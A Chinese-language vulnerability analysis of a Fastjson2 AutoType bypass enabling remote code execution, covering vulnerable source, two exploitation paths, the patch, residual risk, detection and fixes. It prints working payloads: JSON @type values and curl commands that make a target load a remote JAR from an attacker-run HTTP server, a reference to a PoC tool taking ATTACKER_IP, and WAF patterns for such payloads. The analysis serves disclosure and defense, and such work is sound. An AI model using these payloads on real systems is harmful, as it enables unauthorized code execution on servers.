Fastjson2 AutoType 绕过致远程代码执行漏洞 — 完整分析报告

漏洞等级: 🔴 严重 (CVSS 9.8)影响版本: fastjson2 ≤ 2.0.62 (全版本)修复版本: 2.0.63 (PR #7695 + #7703)漏洞类型: CWE-502 反序列化
CVE: 未分配 (截至 2026-07-28)
分析日期: 2026-07-28

目录

  1. 漏洞概述
  2. 受影响版本
  3. 源码证据
  4. 两个独立利用路径
  5. 利用路径一: FNV-1a 哈希碰撞
  6. 利用路径二: ObjectReaderSeeAlso 回退绕过
  7. 硬编码默认哈希
  8. 补丁分析
  9. 遗留攻击面
  10. 检测方法
  11. 修复建议
  12. 参考

漏洞概述

阿里巴巴 Fastjson2 JSON 解析库(≤ 2.0.62)存在两处相互独立的 AutoType 白名单绕过缺陷,允许未认证攻击者在默认配置下实现远程代码执行。

第一处缺陷(ObjectReaderProvider.checkAutoType,第 847-867 行):在 autoTypeSupport=false(默认)的增量 FNV-1a 哈希白名单校验中,哈希命中后未验证实际文本是否等于白名单类名。攻击者利用 $ → . 字符归一化规则,构造零成本 FNV 选择前缀碰撞,使形如 jar:http:// 的 URL 字符串通过白名单检查后进入上下文类加载器。

第二处缺陷(同方法,第 871-890 行):当 autoTypeSupport=true 时(由 ObjectReaderSeeAlso 自动开启),所有白名单哈希检查失败的输入会直接回退到 TypeUtils.loadClass(typeName) — 无任何哈希校验。攻击者利用 URLClassLoader.findClass 的点号转斜杠机制绕过 JDK checkName 校验,实现远程 JAR 加载。

两者均源于同一架构缺陷:哈希语义不可信 — 64 位 FNV-1a 是非密码学哈希,其输出不可用作安全决策的充分条件。

受影响版本

版本

状态

≤ 2.0.62

🔴 受影响

≥ 2.0.63

🟢 已修复

与 JDK 版本的关系:

JDK

路径一 (FNV碰撞)

路径二 (SeeAlso回退)

JDK 8

✅ 完整 RCE

✅ 完整 RCE

JDK 11+

⚠️ 需本地 gadget

✅ 完整 RCE

JDK 17+

⚠️ 需本地 gadget

✅ 完整 RCE

源码证据

漏洞代码 (2.0.61)

文件: core/src/main/java/com/alibaba/fastjson2/reader/ObjectReaderProvider.java

// 第 847-867 行: checkAutoType — autoTypeSupport=false 路径
if (!autoTypeSupport) {
    long hash = MAGIC_HASH_CODE;
    for (int i = 0; i < typeNameLength; ++i) {
        char ch = typeName.charAt(i);
        if (ch == '$') ch = '.';             // ★ $ → . 归一化
        hash ^= ch;
        hash *= MAGIC_PRIME;

        if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
            clazz = loadClass(typeName);      // ★ 无文本验证!
            ...
            return clazz;
        }
    }
}

// 第 871-890 行: autoTypeSupport=true — 无保护回退
if (!autoTypeSupport) {
    return null;
}

clazz = TypeUtils.getMapping(typeName);
if (clazz != null) {
    ...
    return clazz;
}

clazz = loadClass(typeName);                  // ★ 无哈希校验!

硬编码默认哈希

// 第 216 行: 始终存在的默认哈希
hashCodes[hashCodes.length - 1] = ANTI_COLLISION_HASH_MAP_HASH;
// = -6293031534589903644L (0xa8aaa929446ffce4)
// = Fnv.hashCode64("com.alibaba.fastjson.util.AntiCollisionHashMap")

acceptHashCodes 永不空 — 即使零配置也至少有一个条目。

两个独立利用路径

checkAutoType(typeName, _, features):
    │
    ├─ autoTypeSupport=false (默认)
    │    │
    │    ├─ 增量 FNV-1a 哈希逐字符匹配
    │    │
    │    ├─ $ → . 归一化 → 零成本碰撞
    │    │
    │    ├─ 哈希命中 → loadClass(typeName) — 无文本验证
    │    │
    │    └─ 🔴 利用路径一: FNV 哈希碰撞
    │
    └─ autoTypeSupport=true (ObjectReaderSeeAlso 强制开启)
         │
         ├─ 增量 FNV 哈希检查 (有 acceptNameSet 保护)
         │
         ├─ 不命中 → 跳过
         │
         ├─ line 875: getMapping (null for unknown types)
         │
         ├─ line 890: loadClass(typeName) — 无任何校验!
         │
         └─ 🔴 利用路径二: SeeAlso 回退绕过

利用路径一: FNV-1a 哈希碰撞

原理

$ → . 归一化使 FNV 碰撞零成本:

fnv("com.example.")     = 0x1a0f24c77e848220
fnv("com.example$")     = 0x1a0f24c77e848220  ($ → .)
                           ↑ 完全相同!

攻击链

addAutoTypeAccept("com.example.")   → acceptHashCodes += 0x1a0f24c77e848220

JSON: {"@type":"com.example$jar:http://IP/evil.jar!/RCE","x":1}
                 ^^^^^^^^^^^^ $→. 第12字符后哈希命中白名单
                               ^^^^^^^^^^^^^^^^^^ 完整字符串 → loadClass

checkAutoType → 哈希命中 → loadClass → URLResolvingCL → static{} → RCE

靶场验证

# 靶场 (端口 8088)
java -cp ".;..\core\target\fastjson2-2.0.61.jar" RealTarget 8088

# 攻击 (FNV 碰撞)
curl -X POST http://192.168.50.170:8088/api/plugin/register \
  -H "Content-Type: application/json" \
  -d '{"@type":"com.example$jar:http://192.168.50.170:18000/poc.jar!/RCE","x":1}'

# 响应: {"result":"RCE"} → calc.exe + PWNED.txt ✅

利用路径二: ObjectReaderSeeAlso 回退绕过

原理

ObjectReaderSeeAlso 构造函数自动设置 SupportAutoType (第 31 行):

// ObjectReaderSeeAlso.java
super(..., JSONReader.Feature.SupportAutoType.mask, ...);

当哈希检查失败后,代码到达第 890 行直接 loadClass — 无任何保护。攻击者利用 URLClassLoader.findClass 的点号转斜杠机制绕过 JDK checkName:

输入:  jar:http:..2130706433:18000.exploit!.Evil
         ^^               ^        ^            → 不含 '/' — checkName ✓

findClass: name.replace('.', '/')
输出:  jar:http://2130706433:18000/exploit!/Evil.class
       → 下载 http://IP:PORT/exploit → JAR → Evil.class → defineClass → static{} → RCE

此路径完全不需要哈希碰撞。

靶场验证

# 靶场 (Spring Boot, 端口 8080)
java -jar fastjson-rce-env-1.0.0.jar --server.port=8080

# 恶意 HTTP 服务器 (端口 18000)
cd www && python -m http.server 18000

# 攻击 (SeeAlso)
curl -X POST http://127.0.0.1:8080/parseAnimal \
  -H "Content-Type: application/json" \
  -d '{"@type":"jar:http:..2130706433:18000.exploit!.Evil"}'

# 响应: {"class":"jar:http:..2130706433:18000.exploit!.Evil"} → calc.exe ✅

硬编码默认哈希

// ObjectReaderProvider.java 第 207-218 行
if (AUTO_TYPE_ACCEPT_LIST == null) {
    hashCodes = new long[1];  // 不是空数组!
} else {
    hashCodes = new long[AUTO_TYPE_ACCEPT_LIST.length + 1];
}
hashCodes[hashCodes.length - 1] = ANTI_COLLISION_HASH_MAP_HASH;
// = Fnv.hashCode64("com.alibaba.fastjson.util.AntiCollisionHashMap")
// = 0xa8aaa929446ffce4

影响: acceptHashCodes 永不空。攻击者无需应用主动注册白名单即可触发 FNV 碰撞路径。

补丁分析

PR #7695 + #7703 修复内容

修复

文件

行号

说明

hasIllegalTypeNameChars

ObjectReaderProvider.java

847

提前拒绝含 : 或 ! 的类名

acceptNameSet

ObjectReaderProvider.java

878/913

哈希命中后验证文本是否匹配

loadClass 加固

TypeUtils.java

-

含 :/! 的类名直接返回 null

normalizeAcceptName

TypeUtils.java

-

注册时同步 $→. 归一化

拒绝 ClassLoader/JDBC

ObjectReaderProvider.java

886/920

拒绝基本 gadget 类型

ANTI_COLLISION_HASH_MAP

ObjectReaderProvider.java

210-211

硬编码哈希来源文档化

修复覆盖

利用路径

修复前

修复后

FNV $→. 碰撞

✅ RCE

❌ 封堵 (acceptNameSet + illegalChars)

SeeAlso → jar:http://

✅ RCE

❌ 封堵 (hasIllegalTypeNameChars)

遗留攻击面

攻击面

状态

风险

FNV 碰撞 ($→.)

已封堵

无

SeeAlso → jar:http://

已封堵

无

SeeAlso → classpath gadget

⚠️ 仍存在

中

TypeUtils.getMapping 静态映射

⚠️ 仍存在

中

autoTypeBeforeHandler 自定义处理器

⚠️ 依赖实现

低

核心: ObjectReaderSeeAlso 仍然开启 SupportAutoType。第 954 行 loadClass(typeName) 回退仍可达——只是 :/! 被拦截。classpath 上的恶意 gadget 类(不含特殊字符)仍可通过此路径加载。

检测方法

WAF 侧

"@type"\s*:\s*"[^"]*\$(jar|http|file|ldap|rmi)
"@type"\s*:\s*"[^"]*\.exploit\!

命令行检测

# 检测 autoType 是否处理 @type
curl -X POST TARGET -d '{"@type":"java.util.HashMap","x":1}'

# 检测 jar: 协议是否被拦截 (已修复版本返回 JSONObject, 未修复返回 JSONException 或类名)
curl -X POST TARGET -d '{"@type":"jar:http://test/x.jar!/X","x":1}'

# 检测 SeeAlso 路径
curl -X POST TARGET/parseAnimal -d '{"@type":"Dog","name":"test"}'

使用通用 PoC 工具

python Fastjson2_FNV_RCE.py --detect --target http://TARGET:PORT/api
python Fastjson2_FNV_RCE.py --scan --file targets.txt --evil-ip ATTACKER_IP

修复建议

  1. 立即升级 至 fastjson2 ≥ 2.0.63
  2. 启用 SafeMode: JSONFactory.setSafeMode(true) 或 JVM 参数 -Dfastjson2.parser.safeMode=true
  3. WAF 规则: 拦截请求体中 key 包含 @type 字段且 value 含 :、!、$、jar 的 JSON
  4. JDK 升级: 升级至 JDK 11+ 限制 URLClassLoader 远程类加载
  5. 禁用多态反序列化: 避免使用 @JSONType(seeAlso=...) 注解

参考

  • PR #7695 — 初始修复
  • PR #7703 — 加固修复
  • 长亭科技 — 漏洞原始披露
  • 源码引用: core/src/main/java/com/alibaba/fastjson2/reader/ObjectReaderProvider.java (tag 2.0.61)
  • 修复代码: D:\data\github\new_fastjson\fastjson2 (最新 master)